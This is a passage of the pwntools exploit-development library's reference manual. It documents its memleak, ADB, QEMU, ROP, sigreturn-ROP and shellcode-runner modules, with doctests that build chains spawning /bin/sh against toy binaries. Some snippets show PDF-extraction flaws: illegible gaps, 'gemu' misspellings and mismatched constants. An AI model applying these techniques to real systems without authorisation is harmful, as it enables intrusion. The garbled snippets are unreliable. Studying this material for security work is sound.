>>> data = string.ascii_lowercase.encode()
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.w(0) == unpack(b'ab', 16)
True
>>> l.w(24) == unpack(b'yz', 16)
True
>>> l.w(25) is None
True
```

class pwnlib.memleak.RelativeMemLeak(**a*, ***kw*)

2.19 pwnlib.protocols — Wire Protocols

2.19.1 Supported Protocols

pwnlib.protocols.adb — ADB Protocol Implementation

Implementation of the Android Debug Bridge (ADB) protocol.

Documentation is available [here](#).

class pwnlib.protocols.adb.AdbClient(*level*=None)
ADB Client

devices(**a*, ***kw*)

Parameters **long** (*bool*) – If True, fetch the long-format listing.

Returns String representation of all available devices.

execute(**a*, ***kw*)

Executes a program on the device.

Returns A `pwnlib.tubes.tube.tube` which is connected to the process.

Examples

```
>>> pwnlib.protocols.adb.AdbClient().execute(['echo', 'hello']).recvall()
b'hello\n'
```

kill (*a, **kw)

Kills the remote ADB server”

```
>>> c=pwnlib.protocols.adb.AdbClient()
>>> c.kill()
```

The server is automatically re-started on the next request, if the default host/port are used.

```
>>> c.version() > (4,0)
True
>>> c.wait_for_device() # ensure doctests alive
```

list (path)

Execute the LIST command of the SYNC API.

Parameters **path** (*str*) – Path of the directory to list.

Returns A dictionary, where the keys are relative filenames, and the values are a dictionary containing the same values as `stat()` supplies.

Note: In recent releases of Android (e.g. 7.0), the domain that `adb` executes from does not have access to everything that the shell user does.

Because of this, while the shell user can get listings of e.g. the root directory (`/`), `adb` cannot.

The SYNC APIs are executed within the `adb` context, not the shell user context.

This issue is not a problem if the phone is rooted via `'adb root'`, since `adb` then runs in the `su` domain.

Examples

```
>>> pprint(AdbClient().list('/data/user'))
{'0': {'mode': 41471, 'size': 10, 'time': ...}}
>>> AdbClient().list('/does/not/exist')
Traceback (most recent call last):
...
PwnlibException: Cannot list directory '/does/not/exist': Does not exist
```

read (*a, **kw)

Execute the READ command of the SYNC API.

Parameters

- **path** (*str*) – Path to the file to read
- **filesize** (*int*) – Size of the file, in bytes. Optional.
- **callback** (*callable*) – Callback function invoked as data becomes available. Arguments provided are:
 - File path
 - All data

- Expected size of all data
- Current chunk
- Expected size of chunk

Returns The data received as a string.

recv1()

Receives a length-prefixed data buffer from the ADB server

send(*a, **kw)

Sends data to the ADB server

stat(*a, **kw)

Execute the STAT command of the SYNC API.

Parameters **path** (*str*) – Path to the file to stat.

Returns On success, a dictionary mapping the values returned. If the file cannot be stat() ed, None is returned.

Example

```
>>> expected = {'mode': 16749, 'size': 0, 'time': 0}
>>> pwnlib.protocols.adb.AdbClient().stat('/proc') == expected
True
>>> pwnlib.protocols.adb.AdbClient().stat('/does/not/exist') == None
True
```

track_devices(*a, **kw)

Returns Generator which returns a short-format listing of available devices each time a device state changes.

transport(serial=None)

Sets the Transport on the remote device.

Examples

```
>>> pwnlib.protocols.adb.AdbClient().transport()
```

unpack(*a, **kw)

Receives a hex-ascii packed integer from the ADB server

version(*a, **kw)

Returns Tuple containing the (major, minor) version from the ADB server

Example

```
>>> pwnlib.protocols.adb.AdbClient().version() # doctest: +SKIP
(4, 36)
```

write(path, data, mode=493, timestamp=None, callback=None)

Execute the WRITE command of the SYNC API.

Parameters

- **path** (*str*) – Path to the file to write
- **data** (*str*) – Data to write to the file
- **mode** (*int*) – File mode to set (e.g. 0o755)
- **timestamp** (*int*) – Unix timestamp to set the file date to
- **callback** (*callable*) – Callback function invoked as data is written. Arguments provided are:
 - File path
 - All data
 - Expected size of all data
 - Current chunk
 - Expected size of chunk

c

AdbClient’s connection to the ADB server

class pwnlib.protocols.adb.**Connection** (*host, port, level=None, *a, **kw*)

Connection to the ADB server

close ()

Closes the tube.

class pwnlib.protocols.adb.**Message** (*string*)

An ADB hex-length-prefixed message

class pwnlib.protocols.adb.**Process** (*host, port, level=None, *a, **kw*)

Duck-typed tubes.remote object to add properties of a tubes.process

pwnlib.protocols.adb.**proxy** (*port=9999*)

Starts an ADB proxy on the specified port, for debugging purposes.

2.20 pwnlib.qemu — QEMU Utilities

Run foreign-architecture binaries

2.20.1 Overview

So you want to exploit ARM binaries on your Intel PC?

Pwntools has a good level of integration with QEMU user-mode emulation, in order to run, debug, and pwn foreign architecture binaries.

In general, everything magic happens “behind the scenes”, and pwntools attempts to make your life easier.

When using `process.process`, pwntools will attempt to blindly execute the binary, in case your system is configured to use `binfmt-misc`.

If this fails, pwntools will attempt to manually launch the binary under qemu user-mode emulation. Preference is given to statically-linked variants, i.e. `qemu-arm-static` will be selected before `qemu-arm`.

Debugging

When debugging binaries with `gdb.debug()`, pwntools automatically adds the appropriate command-line flags to QEMU to start its GDB stub, and automatically informs GDB of the correct architecture and sysroot.

Sysroot

You can override the default sysroot by setting the `QEMU_LD_PREFIX` environment variable. This affects where qemu will look for files when `open()` is called, e.g. when the linker is attempting to resolve `libc.so`.

2.20.2 Required Setup

For Ubuntu 16.04 and newer, the setup is relatively straightforward for most architectures.

First, install the QEMU emulator itself. If your binary is statically-linked, this is sufficient.

```
$ sudo apt-get install qemu-user
```

If your binary is dynamically linked, you need to install libraries like `libc`. Generally, this package is named `libc6-$ARCH-cross`, e.g. `libc-mips-cross`. ARM comes in both soft-float and hard-float variants, e.g. `armhf`.

```
$ sudo apt-get install libc6-arm64-cross
```

If your binary relies on additional libraries, you can generally find them easily with `apt-cache search`. For example, if it's a C++ binary it may require `libstdc++`.

```
$ apt-cache search 'libstdc++' | grep arm64
```

Any other libraries that you require you'll have to find some other way.

Telling QEMU Where Libraries Are

The libraries are now installed on your system at e.g. `/usr/aarch64-linux-gnu`.

QEMU does not know where they are, and expects them to be at e.g. `/etc/qemu-binfmt/aarch64`. If you try to run your library now, you'll probably see an error about `libc.so.6` missing.

Create the `/etc/qemu-binfmt` directory if it does not exist, and create a symlink to the appropriate path.

```
$ sudo mkdir /etc/qemu-binfmt $ sudo ln -s /usr/aarch64-linux-gnu /etc/qemu-binfmt/aarch64
```

Now QEMU should be able to run the libraries.

`pwnlib.qemu.archname(*a, **kw)`

Returns the name which QEMU uses for the currently selected architecture.

```
>>> pwnlib.qemu.archname()
'i386'
>>> pwnlib.qemu.archname(arch='powerpc')
'ppc'
```

`pwnlib.qemu.ld_prefix(*a, **kw)`

Returns the linker prefix for the selected qemu-user binary

```
>>> pwnlib.qemu.ld_prefix(arch='arm')
'/etc/qemu-binfmt/arm'
```

`pwnlib.gemu.user_path(*a, **kw)`

Returns the path to the QEMU-user binary for the currently selected architecture.

```
>>> pwnlib.gemu.user_path()
'qemu-i386-static'
>>> pwnlib.gemu.user_path(arch='thumb')
'qemu-arm-static'
```

2.21 pwnlib.replacements — Replacements for various functions

Improved replacements for standard functions

`pwnlib.replacements.sleep(n)`

Replacement for `time.sleep()`, which does not return if a signal is received.

Parameters `n` (*int*) – Number of seconds to sleep.

2.22 pwnlib.rop — Return Oriented Programming

2.22.1 Submodules

`pwnlib.rop.rop` — Return Oriented Programming

Return Oriented Programming

Manual ROP

The ROP tool can be used to build stacks pretty trivially. Let's create a fake binary which has some symbols which might have been useful.

```
>>> context.clear(arch='i386')
>>> binary = ELF.from_assembly('add esp, 0x10; ret')
>>> binary.symbols = {'read': 0xdeadbeef, 'write': 0xdeadcafbad, 'execve': 0xcafebabe,
↳ 'exit': 0xfeedface}
```

Creating a ROP object which looks up symbols in the binary is pretty straightforward.

```
>>> rop = ROP(binary)
```

With the ROP object, you can manually add stack frames.

```
>>> rop.raw(0)
>>> rop.raw(unpack(b'abcd'))
>>> rop.raw(2)
```

Inspecting the ROP stack is easy, and laid out in an easy-to-read manner.

```
>>> print(rop.dump())
0x0000:          0x0
0x0004:      0x64636261
0x0008:          0x2
```

The ROP module is also aware of how to make function calls with standard Linux ABIs.

```
>>> rop.call('read', [4,5,6])
>>> print(rop.dump())
0x0000:      0x0
0x0004:      0x64636261
0x0008:      0x2
0x000c:      0xdeadbeef read(4, 5, 6)
0x0010:      b'aaaa' <return address>
0x0014:      0x4 arg0
0x0018:      0x5 arg1
0x001c:      0x6 arg2
```

You can also use a shorthand to invoke calls. The stack is automatically adjusted for the next frame

```
>>> rop.write(7,8,9)
>>> rop.exit()
>>> print(rop.dump())
0x0000:      0x0
0x0004:      0x64636261
0x0008:      0x2
0x000c:      0xdeadbeef read(4, 5, 6)
0x0010:      0x10000000 <adjust @0x24> add esp, 0x10; ret
0x0014:      0x4 arg0
0x0018:      0x5 arg1
0x001c:      0x6 arg2
0x0020:      b'iaaa' <pad>
0x0024:      0xdecafbad write(7, 8, 9)
0x0028:      0x10000000 <adjust @0x3c> add esp, 0x10; ret
0x002c:      0x7 arg0
0x0030:      0x8 arg1
0x0034:      0x9 arg2
0x0038:      b'oooo' <pad>
0x003c:      0xfeedface exit()
```

You can also append complex arguments onto stack when the stack pointer is known.

```
>>> rop = ROP(binary, base=0x7fffe000)
>>> rop.call('execve', ['/bin/sh', [['/bin/sh'], ['-p'], ['-c'], ['ls']], 0))
>>> print(rop.dump())
0x7fffe000:      0xcafebabe execve(['/bin/sh'], [['/bin/sh'], ['-p'], ['-c'], ['ls
→']], 0)
0x7fffe004:      b'baaa' <return address>
0x7fffe008:      0x7fffe014 arg0 (+0xc)
0x7fffe00c:      0x7fffe01c arg1 (+0x10)
0x7fffe010:      0x0 arg2
0x7fffe014:      b'/bin/sh\x00'
0x7fffe01c:      0x7fffe02c (+0x10)
0x7fffe020:      0x7fffe034 (+0x14)
0x7fffe024:      0x7fffe038 (+0x14)
0x7fffe028:      0x7fffe03c (+0x14)
0x7fffe02c:      b'/bin/sh\x00'
0x7fffe034:      b'-p\x00$'
0x7fffe038:      b'-c\x00$'
0x7fffe03c:      b'ls\x00$'
```

ROP Example

Let's assume we have a trivial binary that just reads some data onto the stack, and returns.

```
>>> context.clear(arch='i386')
>>> c = constants
>>> assembly = 'read:' + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'
```

Let's provide some simple gadgets:

```
>>> assembly += 'add_esp: add esp, 0x10; ret\n'
```

And perhaps a nice “write” function.

```
>>> assembly += 'write: enter 0,0\n'
>>> assembly += '    mov ebx, [ebp+4+4]\n'
>>> assembly += '    mov ecx, [ebp+4+8]\n'
>>> assembly += '    mov edx, [ebp+4+12]\n'
>>> assembly += shellcraft.write('ebx', 'ecx', 'edx')
>>> assembly += '    leave\n'
>>> assembly += '    ret\n'
>>> assembly += 'flag: .asciz "The flag"\n'
```

And a way to exit cleanly.

```
>>> assembly += 'exit: ' + shellcraft.exit(0)
>>> binary = ELF.from_assembly(assembly)
```

Finally, let's build our ROP stack

```
>>> rop = ROP(binary)
>>> rop.write(c.STDOUT_FILENO, binary.symbols['flag'], 8)
>>> rop.exit()
>>> print(rop.dump())
0x0000:      0x10000012 write(STDOUT_FILENO, 0x10000026, 8)
0x0004:      0x1000000e <adjust @0x18> add esp, 0x10; ret
0x0008:              0x1 STDOUT_FILENO
0x000c:      0x10000026 flag
0x0010:              0x8 arg2
0x0014:      b'faaa' <pad>
0x0018:      0x1000002f exit()
```

The raw data from the ROP stack is available via *str*.

```
>>> raw_rop = rop.chain()
>>> print(hex(raw_rop))
120000100e0000100100000026000010080000000666161612f000010
```

Let's try it out!

```
>>> p = process(binary.path)
>>> p.send(raw_rop)
>>> print(repr(p.recvall(timeout=5)))
b'The flag'
```

ROP Example (amd64)

For amd64 binaries, the registers are loaded off the stack. Pwntools can do basic reasoning about simple “pop; pop; add; ret”-style gadgets, and satisfy requirements so that everything “just works”.

```
>>> context.clear(arch='amd64')
>>> assembly = 'pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret; target: ret'
>>> binary = ELF.from_assembly(assembly)
>>> rop = ROP(binary)
>>> rop.target(1,2,3)
>>> print(rop.dump())
0x0000:      0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret
0x0008:      0x3 [arg2] rdx = 3
0x0010:      0x1 [arg0] rdi = 1
0x0018:      0x2 [arg1] rsi = 2
0x0020:      b'iaaaajaaa' <pad 0x20>
0x0028:      b'kaaala aaa' <pad 0x18>
0x0030:      b'maaanaaaa' <pad 0x10>
0x0038:      b'aaaapaaa' <pad 0x8>
0x0040:      0x10000008 target
>>> rop.target(1)
>>> print(rop.dump())
0x0000:      0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret
0x0008:      0x3 [arg2] rdx = 3
0x0010:      0x1 [arg0] rdi = 1
0x0018:      0x2 [arg1] rsi = 2
0x0020:      b'iaaaajaaa' <pad 0x20>
0x0028:      b'kaaala aaa' <pad 0x18>
0x0030:      b'maaanaaaa' <pad 0x10>
0x0038:      b'aaaapaaa' <pad 0x8>
0x0040:      0x10000008 target
0x0048:      0x10000001 pop rdi; pop rsi; add rsp, 0x20; ret
0x0050:      0x1 [arg0] rdi = 1
0x0058:      b'waaaxaaa' <pad rsi>
0x0060:      b'yaaazaab' <pad 0x20>
0x0068:      b'baabcaab' <pad 0x18>
0x0070:      b'daabeaab' <pad 0x10>
0x0078:      b'faabgaab' <pad 0x8>
0x0080:      0x10000008 target
```

Pwntools will also filter out some bad instructions while setting the registers (e.g. syscall, int 0x80...)

```
>>> assembly = 'syscall; pop rdx; pop rsi; ret ; pop rdi ; int 0x80; pop rsi; pop rdx;
↪ ret ; pop rdi ; ret'
>>> binary = ELF.from_assembly(assembly)
>>> rop = ROP(binary)
>>> rop.call(0xdeadbeef, [1, 2, 3])
>>> print(rop.dump())
0x0000:      0x1000000b pop rdi; ret
0x0008:      0x1 [arg0] rdi = 1
0x0010:      0x10000002 pop rdx; pop rsi; ret
0x0018:      0x3 [arg2] rdx = 3
0x0020:      0x2 [arg1] rsi = 2
0x0028:      0xdeadbeef
```

ROP + Sigreturn

In some cases, control of the desired register is not available. However, if you have control of the stack, EAX, and can find a `int 0x80` gadget, you can use sigreturn.

Even better, this happens automagically.

Our example binary will read some data onto the stack, and not do anything else interesting.

```
>>> context.clear(arch='i386')
>>> c = constants
>>> assembly = 'read:' + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'
>>> assembly += 'pop eax; ret\n'
>>> assembly += 'int 0x80\n'
>>> assembly += 'binsh: .asciz "/bin/sh"'
>>> binary = ELF.from_assembly(assembly)
```

Let's create a ROP object and invoke the call.

```
>>> context.kernel = 'amd64'
>>> rop = ROP(binary)
>>> binsh = binary.symbols['binsh']
>>> rop.execve(binsh, 0, 0)
```

That's all there is to it.

```
>>> print(rop.dump())
0x0000:      0x1000000e pop eax; ret
0x0004:      0x77 [arg0] eax = SYS_sigreturn
0x0008:      0x1000000b int 0x80
0x000c:      0x0 gs
0x0010:      0x0 fs
0x0014:      0x0 es
0x0018:      0x0 ds
0x001c:      0x0 edi
0x0020:      0x0 esi
0x0024:      0x0 ebp
0x0028:      0x0 esp
0x002c:      0x10000012 ebx = binsh
0x0030:      0x0 edx
0x0034:      0x0 ecx
0x0038:      0xb eax = SYS_execve
0x003c:      0x0 trapno
0x0040:      0x0 err
0x0044:      0x1000000b int 0x80
0x0048:      0x23 cs
0x004c:      0x0 eflags
0x0050:      0x0 esp_at_signal
0x0054:      0x2b ss
0x0058:      0x0 fpstate
```

Let's try it out!

```
>>> p = process(binary.path)
>>> p.send(rop.chain())
>>> time.sleep(1)
>>> p.sendline(b'echo hello; exit')
```

(continues on next page)

(continued from previous page)

```
>>> p.recvline()
b'hello\n'
```

class pwnlib.rop.rop.ROP (elfs, base=None, badchars="", **kwargs)
 Class which simplifies the generation of ROP-chains.

Example:

```
elf = ELF('ropasaurusrex')
rop = ROP(elf)
rop.read(0, elf.bss(0x80))
rop.dump()
# ['0x0000:      0x80482fc (read) ',
#  '0x0004:      0xdeadbeef',
#  '0x0008:              0x0',
#  '0x000c:      0x80496a8']
bytes(rop)
# '\xfc\x82\x04\x08\xef\xbe\xad\xde\x00\x00\x00\x00\xa8\x96\x04\x08'
```

```
>>> context.clear(arch = "i386", kernel = 'amd64')
>>> assembly = 'int 0x80; ret; add esp, 0x10; ret; pop eax; ret'
>>> e = ELF.from_assembly(assembly)
>>> e.symbols['funcname'] = e.address + 0x1234
>>> r = ROP(e)
>>> r.funcname(1, 2)
>>> r.funcname(3)
>>> r.execve(4, 5, 6)
>>> print(r.dump())
0x0000:      0x10001234 funcname(1, 2)
0x0004:      0x10000003 <adjust @0x18> add esp, 0x10; ret
0x0008:              0x1 arg0
0x000c:              0x2 arg1
0x0010:      b'aaaa' <pad>
0x0014:      b'faaa' <pad>
0x0018:      0x10001234 funcname(3)
0x001c:      0x10000007 <adjust @0x24> pop eax; ret
0x0020:              0x3 arg0
0x0024:      0x10000007 pop eax; ret
0x0028:      0x77 [arg0] eax = SYS_sigreturn
0x002c:      0x10000000 int 0x80
0x0030:              0x0 gs
0x0034:              0x0 fs
0x0038:              0x0 es
0x003c:              0x0 ds
0x0040:              0x0 edi
0x0044:              0x0 esi
0x0048:              0x0 ebp
0x004c:              0x0 esp
0x0050:              0x4 ebx
0x0054:              0x6 edx
0x0058:              0x5 ecx
0x005c:      0xb eax = SYS_execve
0x0060:              0x0 trapno
0x0064:              0x0 err
0x0068:      0x10000000 int 0x80
0x006c:              0x23 cs
```

(continues on next page)

(continued from previous page)

```
0x0070:          0x0 eflags
0x0074:          0x0 esp_at_signal
0x0078:          0x2b ss
0x007c:          0x0 fpstate
```

```
>>> r = ROP(e, 0x8048000)
>>> r.funcname(1, 2)
>>> r.funcname(3)
>>> r.execve(4, 5, 6)
>>> print(r.dump())
0x8048000:      0x10001234 funcname(1, 2)
0x8048004:      0x10000003 <adjust @0x8048018> add esp, 0x10; ret
0x8048008:          0x1 arg0
0x804800c:          0x2 arg1
0x8048010:          b'aaaa' <pad>
0x8048014:          b'faaa' <pad>
0x8048018:      0x10001234 funcname(3)
0x804801c:      0x10000007 <adjust @0x8048024> pop eax; ret
0x8048020:          0x3 arg0
0x8048024:      0x10000007 pop eax; ret
0x8048028:          0x77 [arg0] eax = SYS_sigreturn
0x804802c:      0x10000000 int 0x80
0x8048030:          0x0 gs
0x8048034:          0x0 fs
0x8048038:          0x0 es
0x804803c:          0x0 ds
0x8048040:          0x0 edi
0x8048044:          0x0 esi
0x8048048:          0x0 ebp
0x804804c:      0x8048080 esp
0x8048050:          0x4 ebx
0x8048054:          0x6 edx
0x8048058:          0x5 ecx
0x804805c:          0xb eax = SYS_execve
0x8048060:          0x0 trapno
0x8048064:          0x0 err
0x8048068:      0x10000000 int 0x80
0x804806c:          0x23 cs
0x8048070:          0x0 eflags
0x8048074:          0x0 esp_at_signal
0x8048078:          0x2b ss
0x804807c:          0x0 fpstate
```

```
>>> elf = ELF.from_assembly('ret')
>>> r = ROP(elf)
>>> r.ret.address == 0x10000000
True
>>> r = ROP(elf, badchars=b'\x00')
>>> r.gadgets == {}
True
>>> r.ret is None
True
```

Parameters

- **elfs** (*list*) – List of *ELF* objects for mining

- **base** (*int*) – Stack address where the first byte of the ROP chain lies, if known.
- **badchars** (*str*) – Characters which should not appear in ROP gadget addresses.

build (*base=None, description=None*)

Construct the ROP chain into a list of elements which can be passed to *flat()*.

Parameters

- **base** (*int*) – The base address to build the rop-chain from. Defaults to *base*.
- **description** (*dict*) – Optional output argument, which will get a mapping of address: description for each address on the stack, starting at *base*.

call (*resolvable, arguments=(), abi=None, **kwargs*)

Add a call to the ROP chain

Parameters

- **resolvable** (*str, int*) – Value which can be looked up via ‘resolve’, or is already an integer.
- **arguments** (*list*) – List of arguments which can be passed to *pack()*. Alternately, if a base address is set, arbitrarily nested structures of strings or integers can be provided.

chain ()

Build the ROP chain

Returns str containing raw ROP bytes

static clear_cache ()

Clears the ROP gadget cache

describe (*object*)

Return a description for an object in the ROP stack

dump ()

Dump the ROP chain in an easy-to-read manner

find_gadget (*instructions*)

Returns a gadget with the exact sequence of instructions specified in the *instructions* argument.

generatePadding (*offset, count*)

Generates padding to be inserted into the ROP stack.

```
>>> rop = ROP([])
>>> val = rop.generatePadding(5,15)
>>> cyclic_find(val[:4])
5
>>> len(val)
15
>>> rop.generatePadding(0,0)
b''
```

migrate (*next_base*)

Explicitly set \$sp, by using a `leave; ret` gadget

raw (*value*)

Adds a raw integer or string to the ROP chain.

If your architecture requires aligned values, then make sure that any given string is aligned!

Parameters **data** (*int/str*) – The raw value to put onto the rop chain.

```
>>> rop = ROP([])
>>> rop.raw('AAAAAAAA')
>>> rop.raw('BBBBBBBB')
>>> rop.raw('CCCCCCCC')
>>> print(rop.dump())
0x0000:      b'AAAA'  'AAAAAAAA'
0x0004:      b'AAAA'
0x0008:      b'BBBB'  'BBBBBBBB'
0x000c:      b'BBBB'
0x0010:      b'CCCC'  'CCCCCCCC'
0x0014:      b'CCCC'
```

resolve (*resolvable*)

Resolves a symbol to an address

Parameters **resolvable** (*str*, *int*) – Thing to convert into an address

Returns int containing address of ‘resolvable’, or None

search (*move=0*, *regs=None*, *order='size'*)

Search for a gadget which matches the specified criteria.

Parameters

- **move** (*int*) – Minimum number of bytes by which the stack pointer is adjusted.
- **regs** (*list*) – Minimum list of registers which are popped off the stack.
- **order** (*str*) – Either the string ‘size’ or ‘regs’. Decides how to order multiple gadgets the fulfill the requirements.

The search will try to minimize the number of bytes popped more than requested, the number of registers touched besides the requested and the address.

If `order == 'size'`, then gadgets are compared lexicographically by `(total_moves, total_regs, addr)`, otherwise by `(total_regs, total_moves, addr)`.

Returns A Gadget object

search_iter (*move=None*, *regs=None*)

Iterate through all gadgets which move the stack pointer by *at least* `move` bytes, and which allow you to set all registers in `regs`.

setRegisters (*registers*)

Returns an list of addresses/values which will set the specified register context.

Parameters **registers** (*dict*) – Dictionary of {register name: value}

Returns

A list of tuples, ordering the stack.

Each tuple is in the form of `(value, name)` where `value` is either a gadget address or literal value to go on the stack, and `name` is either a string name or other item which can be “unresolved”.

Note: This is basically an implementation of the Set Cover Problem, which is NP-hard. This means that we will take polynomial time N^2 , where N is the number of gadgets. We can reduce runtime by discarding useless and inferior gadgets ahead of time.

unresolve (*value*)

Inverts ‘resolve’. Given an address, it attempts to find a symbol for it in the loaded ELF files. If none is found, it searches all known gadgets, and returns the disassembly

Parameters **value** (*int*) – Address to look up

Returns String containing the symbol name for the address, disassembly for a gadget (if there’s one at that address), or an empty string.

base = None

Stack address where the first byte of the ROP chain lies, if known.

elfs = None

List of ELF files which are available for mining gadgets

migrated = None

Whether or not the ROP chain directly sets the stack pointer to a value which is not contiguous

pwnlib.rop.srop — Sigreturn Oriented Programming

Sigreturn ROP (SROP)

Sigreturn is a syscall used to restore the entire register context from memory pointed at by ESP.

We can leverage this during ROP to gain control of registers for which there are not convenient gadgets. The main caveat is that *all* registers are set, including ESP and EIP (or their equivalents). This means that in order to continue after using a sigreturn frame, the stack pointer must be set accordingly.

i386 Example:

Let’s just print a message out using SROP.

```
>>> message = "Hello, World\\n"
```

First, we’ll create our example binary. It just reads some data onto the stack, and invokes the sigreturn syscall. We also make an `int 0x80` gadget available, followed immediately by `exit(0)`.

```
>>> context.clear(arch='i386')
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, 'esp',
↪ 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:' + shellcraft.trap()
>>> assembly += 'syscall: ' + shellcraft.syscall()
>>> assembly += 'exit: ' + 'xor ebx, ebx; mov eax, 1; int 0x80;'
>>> assembly += 'message: ' + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
```

Let’s construct our frame to have it invoke a write syscall, and dump the message to stdout.

```
>>> frame = SigreturnFrame(kernel='amd64')
>>> frame.eax = constants.SYS_write
>>> frame.ebx = constants.STDOUT_FILENO
>>> frame.ecx = binary.symbols['message']
>>> frame.edx = len(message)
>>> frame.esp = 0xdeadbeef
>>> frame.eip = binary.symbols['syscall']
```

Let’s start the process, send the data, and check the message.

```
>>> p = process(binary.path)
>>> p.send(bytes(frame))
>>> p.recvline()
b'Hello, World\n'
>>> p.poll(block=True)
0
```

amd64 Example:

```
>>> context.clear()
>>> context.arch = "amd64"
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, 'rsp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:' + shellcraft.trap()
>>> assembly += 'syscall:' + shellcraft.syscall()
>>> assembly += 'exit: ' + 'xor rdi, rdi; mov rax, 60; syscall;'
>>> assembly += 'message: ' + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.rax = constants.SYS_write
>>> frame.rdi = constants.STDOUT_FILENO
>>> frame.rsi = binary.symbols['message']
>>> frame.rdx = len(message)
>>> frame.rsp = 0xdeadbeef
>>> frame.rip = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(bytes(frame))
>>> p.recvline()
b'Hello, World\n'
>>> p.poll(block=True)
0
```

arm Example:

```
>>> context.clear()
>>> context.arch = "arm"
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, 'sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:' + shellcraft.trap()
>>> assembly += 'syscall:' + shellcraft.syscall()
>>> assembly += 'exit: ' + 'eor r0, r0; mov r7, 0x1; swi #0;'
>>> assembly += 'message: ' + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.r7 = constants.SYS_write
>>> frame.r0 = constants.STDOUT_FILENO
>>> frame.r1 = binary.symbols['message']
>>> frame.r2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(bytes(frame))
>>> p.recvline()
b'Hello, World\n'
>>> p.wait_for_close()
>>> p.poll(block=True)
0
```

Mips Example:

```

>>> context.clear()
>>> context.arch = "mips"
>>> context.endian = "big"
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'syscall: ' + shellcraft.syscall()
>>> assembly += 'exit: ' + shellcraft.exit(0)
>>> assembly += 'message: ' + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.v0 = constants.SYS_write
>>> frame.a0 = constants.STDOUT_FILENO
>>> frame.a1 = binary.symbols['message']
>>> frame.a2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(bytes(frame))
>>> p.recvline()
b'Hello, World\n'
>>> p.poll(block=True)
0

```

Mipsel Example:

```

>>> context.clear()
>>> context.arch = "mips"
>>> context.endian = "little"
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'syscall: ' + shellcraft.syscall()
>>> assembly += 'exit: ' + shellcraft.exit(0)
>>> assembly += 'message: ' + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.v0 = constants.SYS_write
>>> frame.a0 = constants.STDOUT_FILENO
>>> frame.a1 = binary.symbols['message']
>>> frame.a2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(bytes(frame))
>>> p.recvline()
b'Hello, World\n'
>>> p.poll(block=True)
0

```

class pwnlib.rop.srop.SigreturnFrame (**kw)

Crafts a sigreturn frame with values that are loaded up into registers.

Parameters **arch** (*str*) – The architecture. Currently i386 and amd64 are supported.

Examples

Crafting a SigreturnFrame that calls mprotect on amd64

(continued from previous page)

[illegible]

Crafting a SigreturnFrame that calls mprotect on MIPSel

```
>>> context.clear()
>>> context.endian = "little"
>>> s = SigreturnFrame(arch='mips')
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
>>> s.v0 = 0x101d
>>> s.a0 = 0x00601000
>>> s.a1 = 0x1000
>>> s.a2 = 0x7
>>> assert len(bytes(s)) == 292
>>> unpack_many(bytes(s))
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4125, 0, 0, 0, 6295552, 0, 4096, 0, 7,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
↪ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
```

Crafting a SigreturnFrame that calls mprotect on Aarch64

[illegible]

set_regvalue (*reg*, *val*)
Sets a specific reg to a val

2.23 pwnlib.runner — Running Shellcode

`pwnlib.runner.run_assembly(*a, **kw)`

Given an assembly listing, assemble and execute it.

Returns A `pwnlib.tubes.process.process` tube to interact with the process.

Example

```
>>> p = run_assembly('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
>>> p.wait_for_close()
>>> p.poll()
3
```

```
>>> p = run_assembly('mov r0, #12; mov r7, #1; svc #0', arch='arm')
>>> p.wait_for_close()
>>> p.poll()
12
```

`pwnlib.runner.run_shellcode(*a, **kw)`

Given assembled machine code bytes, execute them.

Example

```
>>> bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
>>> p = run_shellcode(bytes)
>>> p.wait_for_close()
>>> p.poll()
3
```

```
>>> bytes = asm('mov r0, #12; mov r7, #1; svc #0', arch='arm')
